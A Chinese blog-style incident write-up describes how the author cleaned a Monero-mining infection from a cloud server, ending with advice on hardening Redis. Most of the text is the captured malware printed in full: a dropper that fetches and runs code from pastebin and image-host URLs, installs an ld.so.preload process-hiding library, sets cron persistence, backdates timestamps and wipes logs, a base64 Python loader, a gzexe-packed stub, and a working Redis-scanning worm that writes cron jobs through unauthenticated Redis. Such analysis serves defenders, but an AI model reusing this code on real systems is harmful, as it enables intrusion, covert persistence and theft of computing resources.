记一次redis攻击
服务器挖矿病毒的排查过程
事情起因:朋友的一台阿里云主机,登录特别卡,找我看看
这一看就感觉出问题了,机器特别卡,top看了一眼,cpu几乎是100%运行
但是奇怪的是用top命令完全看不出来哪个进程占用资源,当时的截图找不到了,这是第一次遇到这种情况,没有显示今晨占用资源,偏偏资源被跑满
排查
刚接手问题的时候我也是一脸闷逼,很奇怪,明明是没有进程占用的,为什么还会这样?
第一反应是去看看开启启动和crontab
果然是修改了crontab,不过病毒应该是很多地方都有,修改后过几分钟还有。
随后有大神提到,会不会相关的命令被替换了,找了另一台机器进行md5sum计算二进制文件
肯定是哪里不对,想到几个可能:
- 可能系统 原来的命令 如 ls ,ps ,top , 都“被”换掉了
- 用了我不了解的技术,将进程隐藏了
先检查相应的命令二进制文件有没有问题,使用md5sum,尴尬的是我另外一台机器上的版本不一样
从一台正常的同系统类型的主机,把这几个命令copy到中毒的机器上, 比如/tmp/目录下,执行/tmp/ls,/tmp/top看能不能看到,如果不能看到,修改的东西比较多,可能需要重装。
因为手里没有一样配置的机器,想到命令被覆盖了,就用别的工具,于是我安装了htop,结果还是一样,那就是用了特殊的方法隐藏了
既然不是替换那就是隐藏了,谷歌搜索了一下就有结果了,有一种黑科技叫做preload
https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
大概的思路就是可以用自定义一个shared lib来覆盖掉libc里的方法,
$cat /etc/ld.so.preload
/usr/local/lib/libntp.so
果然发现了异常的libc文件,基本可以确定无疑了,将文件注释掉(或者删除),然后再使用top就能看见该死的挖矿进程了,他们的网站https://pastebin.com
知道大概的操作了,下面就是进行病毒脚本分析了
其实我这里思路有点乱,简单的整理下。
- 发现cpu使用异常,定位异常进程(未发现,暂时挂起)
- 查看crontab和rc.local,因为机器重启过了,所以这里肯定是有问题的
- 查到crontab异常,然后进行脚本分析
- 将脚本中的进程都杀死。观察一段时间,确定没有复发
知道中毒后,发现是使用crontab作祟,临时解决的方法,停止crond服务:P,简单粗暴,只要将挖矿程序找到杀掉就行了。
分析crontab
*/23 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh
直接读取网页内容并执行的命令
(curl -fsSL https://pastebin.com/raw/Gw7mywhC || wget -q -O- https://pastebin.com/raw/Gw7mywhC)|base64 -d |/bin/bash
网站的内容就是一段base64加密的内容,直接使用shell命令base64 -4
就能解密
得到脚本内容
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
function kills() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
y=$(netstat -anp | grep kworkerds | wc -l)
if [ ${y} -eq 0 ];then
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
fi
}
function system() {
if [ ! -f "/bin/httpdns" ]; then
curl -fsSL https://pastebin.com/raw/698D7kZU -o /bin/httpdns && chmod 755 /bin/httpdns
if [ ! -f "/bin/httpdns" ]; then
wget https://pastebin.com/raw/698D7kZU -O /bin/httpdns && chmod 755 /bin/httpdns
fi
if [ ! -f "/etc/crontab" ]; then
echo -e "0 2 * * * root /bin/httpdns" >> /etc/crontab
else
sed -i '$d' /etc/crontab && echo -e "0 2 * * * root /bin/httpdns" >> /etc/crontab
fi
fi
}
function top() {
mkdir -p /usr/local/lib/
if [ ! -f "/usr/local/lib/libntp.so" ]; then
curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
if [ ! -f "/usr/local/lib/libntp.so" ]; then
wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
fi
fi
if [ ! -f "/etc/ld.so.preload" ]; then
echo /usr/local/lib/libntp.so > /etc/ld.so.preload
else
sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload
fi
touch -acmr /bin/sh /etc/ld.so.preload
touch -acmr /bin/sh /usr/local/lib/libntp.so
}
function python() {
nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
touch /tmp/.tmph
}
function echocron() {
echo -e "*/10 * * * * root /bin/chmod 755 /usr/bin/curl && /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /etc/cron.d/root
echo -e "*/17 * * * * root /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /etc/cron.d/system
echo -e "*/23 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "*/31 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
curl -fsSL https://pastebin.com/raw/xbY7p5Tb -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
if [ ! -f "/etc/cron.hourly/oanacron" ]; then
wget https://pastebin.com/raw/xbY7p5Tb -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
fi
mkdir -p /etc/cron.daily
curl -fsSL https://pastebin.com/raw/xbY7p5Tb -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
if [ ! -f "/etc/cron.daily/oanacron" ]; then
wget https://pastebin.com/raw/xbY7p5Tb -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
fi
mkdir -p /etc/cron.monthly
curl -fsSL https://pastebin.com/raw/xbY7p5Tb -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
if [ ! -f "/etc/cron.monthly/oanacron" ]; then
wget https://pastebin.com/raw/xbY7p5Tb -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
fi
touch -acmr /bin/sh /var/spool/cron/root
touch -acmr /bin/sh /var/spool/cron/crontabs/root
touch -acmr /bin/sh /etc/cron.d/system
touch -acmr /bin/sh /etc/cron.d/root
touch -acmr /bin/sh /etc/cron.hourly/oanacron
touch -acmr /bin/sh /etc/cron.daily/oanacron
touch -acmr /bin/sh /etc/cron.monthly/oanacron
}
function downloadrun() {
ps=$(netstat -anp | grep :13531 | wc -l)
if [ ${ps} -eq 0 ];then
if [ ! -f "/tmp/kworkerds" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerds
if [ ! -f "/tmp/kworkerds" ]; then
wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerds
fi
nohup /tmp/kworkerds >/dev/null 2>&1 &
else
nohup /tmp/kworkerds >/dev/null 2>&1 &
fi
fi
}
function downloadrunxm() {
pm=$(netstat -anp | grep :13531 | wc -l)
if [ ${pm} -eq 0 ];then
if [ ! -f "/bin/config.json" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod 777 /bin/config.json
if [ ! -f "/bin/config.json" ]; then
wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod 777 /bin/config.json
fi
fi
if [ ! -f "/bin/kworkerds" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod 777 /bin/kworkerds
if [ ! -f "/bin/kworkerds" ]; then
wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod 777 /bin/kworkerds
fi
nohup /bin/kworkerds >/dev/null 2>&1 &
else
nohup /bin/kworkerds >/dev/null 2>&1 &
fi
fi
}
update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/C4ZhQFrH )
if [ ${update}x = "update"x ];then
echocron
else
if [ ! -f "/tmp/.tmph" ]; then
rm -rf /tmp/.tmpg
python
fi
kills
downloadrun
echocron
system
top
sleep 10
port=$(netstat -anp | grep :13531 | wc -l)
if [ ${port} -eq 0 ];then
downloadrunxm
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
fi
#
这个是个简单的shell脚本,包含了几个部分
- 杀死敌方挖矿进程,抢占资源
function kills()
- 保障被杀后还能再次执行
function system()
- 这个就是隐藏进程的代码
function top()
- python脚本,用于传播到其它机器
function python()
- 修改crontab,多处修改隐藏,不看脚本真搞不干净
function echocron()
- 挖矿的代码
function downloadrun()
- 挖矿的配置文件
function downloadrunxm()
这里还有一个地址,现在全杀掉了,找不到这个地址了,还是百度找到的
https://pastebin.com/raw/XqwCz5rc这个地址是我最开始找到的脚本,同样需要base64解码,不过解码后的结果很惨,只有一堆无用的代码,还有一堆乱码,当时我蒙圈了,不知道该怎么搞。
后来搜索到了, 是linux自带的一个方法gzexe -d
进行解码,然后就能得到上面的脚本了。这个网址的来源我最早是在crontab里找到的,但现在脚本里却没发现。这里提一下顺便贴下脚本
#!/bin/sh
skip=44
tab=' '
nl='
'
IFS=" $tab$nl"
umask=`umask`
umask 77
gztmpdir=
trap 'res=$?
test -n "$gztmpdir" && rm -fr "$gztmpdir"
(exit $res); exit $res
' 0 1 2 3 5 10 13 15
if type mktemp >/dev/null 2>&1; then
gztmpdir=`mktemp -dt`
else
gztmpdir=/tmp/gztmp$$; mkdir $gztmpdir
fi || { (exit 127); exit 127; }
gztmp=$gztmpdir/$0
case $0 in
-* | */*'
') mkdir -p "$gztmp" && rm -r "$gztmp";;
*/*) gztmp=$gztmpdir/`basename "$0"`;;
esac || { (exit 127); exit 127; }
case `echo X | tail -n +1 2>/dev/null` in
X) tail_n=-n;;
*) tail_n=;;
esac
if tail $tail_n +$skip <"$0" | gzip -cd > "$gztmp"; then
umask $umask
chmod 700 "$gztmp"
(sleep 5; rm -fr "$gztmpdir") 2>/dev/null &
"$gztmp" ${1+"$@"}; res=$?
else
echo >&2 "Cannot decompress $0"
(exit 127); res=127
fi; exit $res
??昜sleep.sh 礩鹲???晇J??箬M;摝驻 ?m?頽n?读禩?俰??癲p 侜?v%}鹹w礪瓜焿恒嫼谡?鳆oS橦?疦迠q?24W夻
#庝s葟ju鸉?L?_?开橚?Q`7鲦毄uvc仐/A&洣u@ダ峘娜免:]懂篜?E?暮hB?枡樘?N狅腶?;p|&橼鋩综Q凪罖t€觡]朲喴應8Z湆瞵 b懈?橮?
?F?0^鞱汵@??/旣鷀?V2孵侹粿0?嶱#?o篟W?d?籃f飇搢埘}炥髙渡砱?y?賘??
?鰟懖H?]蜢H2艂q
軄漰k4HRn@戄l兂╬簝B崱?q?W鷥邊欐?唄A?-鑢睆?c択4?兄rE?綾?S{嘲?螴?3?#x衪s荸尕莄啠5E?範S?]A◆VAJ(毪?腊?i瓿蘿H紥+梣.?鷩N.?dF祊b篶髑?虃liC??S G銻3禉扇:6&/N?c郈lL80簶SE興妭 ?V磐?鈋銷湀豹豠D切U攱>聣?r篃帝??櫂xa呐?鋫"?邳蟝ぇ7#3'vYA]G帟?-^劶8釫芻*咪搽鑤s 鰻/9i?E@z怢?
Qe?y箆鋁?$軰狧y??肶O3W愋袲?媊騔h瀊f襼?2?屄H婡C?i舕??í衜?
痃I囋檀?>?#騷滰瘐t~趨?礒烗*滟?*鞳鰪J[斶o@晈嘴韹W霠髄?S4茏Ug?/~皖A?徣唦挡瀁Sm?19調纩温z?獟2yF7n-輯i 蛎?2N#h?况
邎"?橬{<1笑b蛔?縼,?秶L?i藥?lW?尷6v/斗K芰噾!?M鐚C肍$B??岩x讹??刵辁殸醼?澄M§瀶M??!?記楴 0kR貳>厅GX?!'瀼靁:┻6豯?U掸稊N覑[R?w:?尡?A墪B`Jf獬?Q濪鯾w搀牞$昁;$?篐3Y篿鬕臀兾.瞛%└i嗽*_廚镚(6lR|/ ?7k绠漌?6S?矐?珡??燼€氥aD磗傢?0伷窢穂&4?_?)绶胏7﨑?醑?鞿炾蚐橛慎檦溹c}瘙逐/?镢厢諐td嵘绡嚲v駿2N鱣介袜\^焍軶呛"?耷f_Q嚄鵵`;漛绅'?缧鷗魚zsm簾疧mC?┪薲xM鵿C驵4詮]эS介鸷厗G撠鹁跜b孋k8拜洐漛漖b熁粕encp5蠃?oE?&\y鱎/nO*侟esA"s畈?埐4//l?du{瀌P?冋+??駸?? f讪騞:2{4?k?ス0W儋噎?m禨{骔?nax^癈?9?潊?^K黉~阄獣?L+yAD毌Q筆甩U?蹬Ylq\栻
?隼崠??5g7_?轲矹<臤谡QO#V?r珟燧5囏权8Y舏缓腴鬔缘卍洐?^zZ赆蹱?爡魕x鰥镓s虳S焩A<?趐Xr蟌\?棳庶枀免5婯铥識n靷?m,[瓰*/薔互???鴳??骳赞v?阾7簒$◆檞j叆k鷵褰g?k.3L紦?{弽各`?邷?蠖?K??鴤搵?踫?螂i]<乂龝?鼾顗畵;筋抍K?讜e'7段m;l楑?I堖.-端?鵹壉〦恖纗窖?l?5"莾(巰琀?轖kh_~N莉{T唞焵窢桚??锤`T3谂b曓HX铣?闋Et賛/;?暖V橗呜ㄤ?&?蒼?R
?癖艀,Y)\暽}呼?t=r姳W橓爧,qJ^hUB
釜O_壺x^?课拇!!
这里的非乱码内容都感觉没啥异常,但下面了乱码就有点奇怪,也是后来网上找到的。
这里再说下Python的传染脚本,也就是中毒的原因
#! /usr/bin/env python
#coding: utf-8
import threading
import socket
from re import findall
import httplib
IP_LIST = []
class scanner(threading.Thread):
tlist = []
maxthreads = 20
evnt = threading.Event()
lck = threading.Lock()
def __init__(self,host):
threading.Thread.__init__(self)
self.host = host
def run(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((self.host, 6379))
s.send('set backup1 "\\n\\n\\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"\r\n')
s.send('set backup2 "\\n\\n\\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"\r\n')
s.send('config set dir /var/spool/cron\r\n')
s.send('config set dbfilename root\r\n')
s.send('save\r\n')
s.close()
except Exception as e:
pass
scanner.lck.acquire()
scanner.tlist.remove(self)
if len(scanner.tlist) < scanner.maxthreads:
scanner.evnt.set()
scanner.evnt.clear()
scanner.lck.release()
def newthread(host):
scanner.lck.acquire()
sc = scanner(host)
scanner.tlist.append(sc)
scanner.lck.release()
sc.start()
newthread = staticmethod(newthread)
def get_ip_list():
try:
url = 'ident.me'
conn = httplib.HTTPConnection(url, port=80, timeout=10)
req = conn.request(method='GET', url='/', )
result = conn.getresponse()
ip2 = result.read()
ips2 = findall(r'\d+.\d+.', ip2)[0][:-2]
for u in range(0, 10):
ip_list1 = (ips2 + (str(u)) +'.')
for i in range(0, 256):
ip_list2 = (ip_list1 + (str(i)))
for g in range(0, 256):
IP_LIST.append(ip_list2 + '.' + (str(g)))
except Exception:
pass
def runPortscan():
get_ip_list()
for host in IP_LIST:
scanner.lck.acquire()
if len(scanner.tlist) >= scanner.maxthreads:
scanner.lck.release()
scanner.evnt.wait()
else:
scanner.lck.release()
scanner.newthread(host)
for t in scanner.tlist:
t.join()
if __name__ == "__main__":
runPortscan()
脚本里通过扫描redis的6379端口,要是没有密码的,就会被攻击,一个redis的经典漏洞。mongodb貌似也一样。
写入一个key,因为redis是root用户执行的,所以能切换到任意目录,所以redis将备份文件保存到crontab目录,然后触发crontab,下面就一目了然了。
所以:
- redis还是不要对公网开放
- redis要加密,不要使用若密码
- redis的执行用户最好不要是root
最后说下杀病毒的方法,可以的话断网。。。不过对于云主机不现实,停止crond服务是最简单的方法。
这样就不会发生你删文件删一半发现病毒又起来了。
先杀死该死的挖矿进程,毕竟严重印象操作
删除所有的文件和相应无关的目录